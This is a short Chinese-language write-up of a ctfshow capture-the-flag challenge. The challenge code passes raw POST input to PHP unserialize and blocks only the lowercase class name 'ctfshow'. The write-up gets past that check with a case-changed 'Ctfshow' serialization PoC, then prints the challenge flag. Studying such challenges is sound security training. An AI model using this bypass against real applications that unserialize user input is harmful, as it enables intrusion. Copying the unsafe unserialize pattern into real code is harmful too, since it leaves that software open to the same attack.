PHP/7.3.11PHP特性类和方法不区分大小写

    1. <?php
    2. /*
    3. # -*- coding: utf-8 -*-
    4. # @Author: h1xa
    5. # @Date: 2020-12-04 23:52:24
    6. # @Last Modified by: h1xa
    7. # @Last Modified time: 2020-12-05 00:17:08
    8. # @email: h1xa@ctfer.com
    9. # @link: https://ctfer.com
    10. */
    11. highlight_file(__FILE__);
    12. include('flag.php');
    13. $cs = file_get_contents('php://input');
    14. class ctfshow{
    15. public $username='xxxxxx';
    16. public $password='xxxxxx';
    17. public function __construct($u,$p){
    18. $this->username=$u;
    19. $this->password=$p;
    20. }
    21. public function login(){
    22. return $this->username===$this->password;
    23. }
    24. public function __toString(){
    25. return $this->username;
    26. }
    27. public function __destruct(){
    28. global $flag;
    29. echo $flag;
    30. }
    31. }
    32. $ctfshowo=@unserialize($cs);
    33. if(preg_match('/ctfshow/', $cs)){
    34. throw new Exception("Error $ctfshowo",1);
    35. }

    拦截点:序列化数据不能包括 ctfshow,
    PHP特性:函数名和类名不区分大小写,变量名区分,例如
    image.png

    poc

    1. <?php
    2. class Ctfshow{
    3. }
    4. $user = new Ctfshow();
    5. echo(serialize($user));
    6. ?>

    image.png
    flag
    ctfshow{3c158b79-f4d9-4d64-bea8-b5b62a1b7c6a}